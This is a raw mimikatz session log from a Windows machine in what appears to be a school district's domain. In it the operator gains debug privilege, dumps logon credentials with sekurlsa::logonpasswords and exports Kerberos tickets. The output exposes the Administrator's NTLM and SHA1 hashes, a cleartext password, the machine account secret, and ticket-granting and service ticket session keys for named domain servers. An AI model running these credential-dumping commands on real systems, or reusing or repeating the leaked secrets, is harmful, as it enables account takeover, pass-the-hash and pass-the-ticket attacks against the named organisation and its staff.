Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa:logonpasswords
ERROR mimikatz_doLocal ; "sekurlsa:logonpasswords" command of "standard" module not found !

Module :	standard
Full name :	Standard module
Description :	Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file output/base64 output
         version  -  Display some version informations
              cd  -  Change or display current directory
        markruss  -  Mark about PtH

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa:logonpasswords
ERROR mimikatz_doLocal ; "sekurlsa:logonpasswords" command of "standard" module not found !

Module :	standard
Full name :	Standard module
Description :	Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file output/base64 output
         version  -  Display some version informations
              cd  -  Change or display current directory
        markruss  -  Mark about PtH

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 12782747 (00000000:00c30c9b)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : 726-D112-E001
Logon Server      : 726-D112-E001
Logon Time        : 8/13/2015 1:06:48 PM
SID               : S-1-5-21-1952719802-2488220560-2310768500-500
	msv :	
	 [00010000] CredentialKeys
	 * NTLM     : a82731a503d4ccb4e8b3287a5748b9ab
	 * SHA1     : 79367bbcb81b385c9ac13b92bf42639f0d68bc52
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : 726-D112-E001
	 * NTLM     : a82731a503d4ccb4e8b3287a5748b9ab
	 * SHA1     : 79367bbcb81b385c9ac13b92bf42639f0d68bc52
	tspkg :	
	wdigest :	
	 * Username : Administrator
	 * Domain   : 726-D112-E001
	 * Password : picture*
	kerberos :	
	 * Username : Administrator
	 * Domain   : 726-D112-E001
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:18 AM
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : 726-D112-E001$
Domain            : EMPLOYEES
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:18 AM
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : 726-D112-E001$
	 * Domain   : EMPLOYEES
	 * NTLM     : 6c1afe558fa44f1169bd0757dbe4a05a
	 * SHA1     : 4dd669eb1a22780cfc09ca67a0b73409d18d25c5
	tspkg :	
	wdigest :	
	 * Username : 726-D112-E001$
	 * Domain   : EMPLOYEES
	 * Password : "_zhUrFukm-_074f32>:XftS4az@;/tVIMLk=iFbbu5eaG!c!L,T9kO;Rj4+5I=HkHu^9QTxUb[uLYn\,nFk8 THD'l@!@g.M95>)qPH8i5PWn5(p*xW'l@b
	kerberos :	
	 * Username : 726-d112-e001$
	 * Domain   : EMPLOYEES.CISD.CONROEISD.LOC
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 53193 (00000000:0000cfc9)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:17 AM
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : 726-D112-E001$
	 * Domain   : EMPLOYEES
	 * NTLM     : 6c1afe558fa44f1169bd0757dbe4a05a
	 * SHA1     : 4dd669eb1a22780cfc09ca67a0b73409d18d25c5
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : 726-D112-E001$
Domain            : EMPLOYEES
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:16 AM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : 726-D112-E001$
	 * Domain   : EMPLOYEES
	 * Password : "_zhUrFukm-_074f32>:XftS4az@;/tVIMLk=iFbbu5eaG!c!L,T9kO;Rj4+5I=HkHu^9QTxUb[uLYn\,nFk8 THD'l@!@g.M95>)qPH8i5PWn5(p*xW'l@b
	kerberos :	
	 * Username : 726-d112-e001$
	 * Domain   : EMPLOYEES.CISD.CONROEISD.LOC
	 * Password : (null)
	ssp :	
	credman :	

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 12782747 (00000000:00c30c9b)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : 726-D112-E001
Logon Server      : 726-D112-E001
Logon Time        : 8/13/2015 1:06:48 PM
SID               : S-1-5-21-1952719802-2488220560-2310768500-500

	 * Username : Administrator
	 * Domain   : 726-D112-E001
	 * Password : (null)

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:18 AM
SID               : S-1-5-19

	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)

	Group 0 - Ticket Granting Service

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : 726-D112-E001$
Domain            : EMPLOYEES
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:18 AM
SID               : S-1-5-20

	 * Username : 726-d112-e001$
	 * Domain   : EMPLOYEES.CISD.CONROEISD.LOC
	 * Password : (null)

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 8/13/2015 9:07:14 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : cifs ; noblefin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; noblefin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     8a0eef6e77cf2bf4f3825224df21e04ee88bc2c474963d965b667465285d7498
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 20	[...]
	   * Saved to file [0;3e4]-0-0-40a40000-726-D112-E001$@cifs-noblefin.employees.cisd.conroeisd.loc.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 8/13/2015 5:22:30 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : cifs ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     c0bab5d0a38263eef473f44ac38726b92a74761a9477b88118f79d3bd069351a
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 69	[...]
	   * Saved to file [0;3e4]-0-1-40a40000-726-D112-E001$@cifs-steelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000002]
	   Start/End/MaxRenew: 8/13/2015 5:07:30 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : cifs ; nickelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; nickelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     2029b46afbb82fbf976d64aad46b774c5691eea091f97321c63eece486829486
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 68	[...]
	   * Saved to file [0;3e4]-0-2-40a40000-726-D112-E001$@cifs-nickelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000003]
	   Start/End/MaxRenew: 8/13/2015 5:07:30 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : ldap ; noblefin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : ldap ; noblefin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( EMPLOYEES.CISD.CONROEISD.LOC )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     12131b41b669a3ddb36b903fbaf3d7f75281d3c179b71c338e671fcaddd44f79
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 20	[...]
	   * Saved to file [0;3e4]-0-3-40a40000-726-D112-E001$@ldap-noblefin.employees.cisd.conroeisd.loc.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 8/13/2015 5:07:30 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : krbtgt ; EMPLOYEES.CISD.CONROEISD.LOC ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (--) : @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( $$Delegation Ticket$$ )
	   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     72bf56fa0495353d0d2ed9a0407334adc15d422ebbb2ce86bdacab67b18d7242
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e4]-2-0-60a00000-726-D112-E001$@krbtgt-EMPLOYEES.CISD.CONROEISD.LOC.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 8/13/2015 5:07:30 AM ; 8/13/2015 3:07:30 PM ; 8/13/2015 3:07:30 PM
	   Service Name (02) : krbtgt ; EMPLOYEES.CISD.CONROEISD.LOC ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : krbtgt ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( employees.cisd.conroeisd.loc )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     72040beb45fe039abae71e8ba33b32683ef5339a23c3bc3dc3b306ec2b986731
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e4]-2-1-40e00000-726-D112-E001$@krbtgt-EMPLOYEES.CISD.CONROEISD.LOC.kirbi !

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : 726-D112-E001$
Domain            : EMPLOYEES
Logon Server      : (null)
Logon Time        : 8/13/2015 5:07:16 AM
SID               : S-1-5-18

	 * Username : 726-d112-e001$
	 * Domain   : EMPLOYEES.CISD.CONROEISD.LOC
	 * Password : (null)

	Group 0 - Ticket Granting Service
	 [00000000]
	   Start/End/MaxRenew: 8/13/2015 5:07:49 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : cifs ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     b0e07003ac9276dcb42136d23d8576d23d5fbb0d4fa1bccda9357e0df8ba89ac
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 69	[...]
	   * Saved to file [0;3e7]-0-0-40a40000-726-D112-E001$@cifs-steelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : cifs ; Cobaltfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; Cobaltfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     c12f85f61546b26924b0561c189da7eb148768433fb8a1796632c126ccae7dc7
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 69	[...]
	   * Saved to file [0;3e7]-0-1-40a40000-726-D112-E001$@cifs-Cobaltfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000002]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : cifs ; noblefin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; noblefin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     4e7fc38a23f841755a99582e33e2f5ce92d7d8626155b5256f5e5b3c8e191220
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 20	[...]
	   * Saved to file [0;3e7]-0-2-40a40000-726-D112-E001$@cifs-noblefin.employees.cisd.conroeisd.loc.kirbi !
	 [00000003]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : cifs ; nickelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : cifs ; nickelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     72b4dbdeca053c24d04eceb357ceb73dc5f426ac85b75afa9e0c57cf82c95ac6
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 68	[...]
	   * Saved to file [0;3e7]-0-3-40a40000-726-D112-E001$@cifs-nickelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000004]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a00000    : pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     b0c9fd7b59ff7e97a85b25e9a82c4888cdb80d1b528a800f6dba9e03fdabf4e5
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 1	[...]
	   * Saved to file [0;3e7]-0-4-40a00000.kirbi !
	 [00000005]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : ldap ; steelfin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : ldap ; steelfin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( EMPLOYEES.CISD.CONROEISD.LOC )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     d67db9f32762ba0233e9c7f40b4b5d533b2cf6201e435374985f4137b3556b63
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 69	[...]
	   * Saved to file [0;3e7]-0-5-40a40000-726-D112-E001$@ldap-steelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000006]
	   Start/End/MaxRenew: 8/13/2015 5:07:35 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : ldap ; noblefin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : ldap ; noblefin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( EMPLOYEES.CISD.CONROEISD.LOC )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     74d7206e18aa9589f301a4142741e8d4fef025c3a7e9fa2510e773c33dc37ce6
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 20	[...]
	   * Saved to file [0;3e7]-0-6-40a40000-726-D112-E001$@ldap-noblefin.employees.cisd.conroeisd.loc.kirbi !
	 [00000007]
	   Start/End/MaxRenew: 8/13/2015 5:07:29 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : LDAP ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : LDAP ; steelfin.employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     73421aa09f9ec94426dce18b5f9652958ff551844dbb1184d3f9160dc71ce1ba
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 69	[...]
	   * Saved to file [0;3e7]-0-7-40a40000-726-D112-E001$@LDAP-steelfin.employees.cisd.conroeisd.loc.kirbi !
	 [00000008]
	   Start/End/MaxRenew: 8/13/2015 5:07:29 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : LDAP ; nickelfin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : LDAP ; nickelfin.employees.cisd.conroeisd.loc ; employees.cisd.conroeisd.loc ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( EMPLOYEES.CISD.CONROEISD.LOC )
	   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     dcf49f337f0c79228f509b8b6487f4d3d156647d9d2da93b110081f347c2ca2e
	   Ticket            : 0x00000012 - aes256_hmac       ; kvno = 68	[...]
	   * Saved to file [0;3e7]-0-8-40a40000-726-D112-E001$@LDAP-nickelfin.employees.cisd.conroeisd.loc.kirbi !

	Group 1 - Client Ticket ?

	Group 2 - Ticket Granting Ticket
	 [00000000]
	   Start/End/MaxRenew: 8/13/2015 5:07:47 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : krbtgt ; EMPLOYEES.CISD.CONROEISD.LOC ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (--) : @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( $$Delegation Ticket$$ )
	   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     e54f7ed0fb6e49e15fe5dcf0a22db8ec15fd3d1a8d1357f20e6033d36dae50b6
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e7]-2-0-60a00000-726-D112-E001$@krbtgt-EMPLOYEES.CISD.CONROEISD.LOC.kirbi !
	 [00000001]
	   Start/End/MaxRenew: 8/13/2015 5:07:29 AM ; 8/13/2015 3:07:29 PM ; 8/13/2015 3:07:29 PM
	   Service Name (02) : krbtgt ; EMPLOYEES.CISD.CONROEISD.LOC ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Target Name  (02) : krbtgt ; EMPLOYEES.CISD.CONROEISD.LOC ; @ EMPLOYEES.CISD.CONROEISD.LOC
	   Client Name  (01) : 726-D112-E001$ ; @ EMPLOYEES.CISD.CONROEISD.LOC ( EMPLOYEES.CISD.CONROEISD.LOC )
	   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
	   Session Key       : 0x00000012 - aes256_hmac      
	     63ca3203f1e98fc4bcd20ab04323d87d3652545fc4e613eabe8c178def43161d
	   Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 2	[...]
	   * Saved to file [0;3e7]-2-1-40e00000-726-D112-E001$@krbtgt-EMPLOYEES.CISD.CONROEISD.LOC.kirbi !

mimikatz #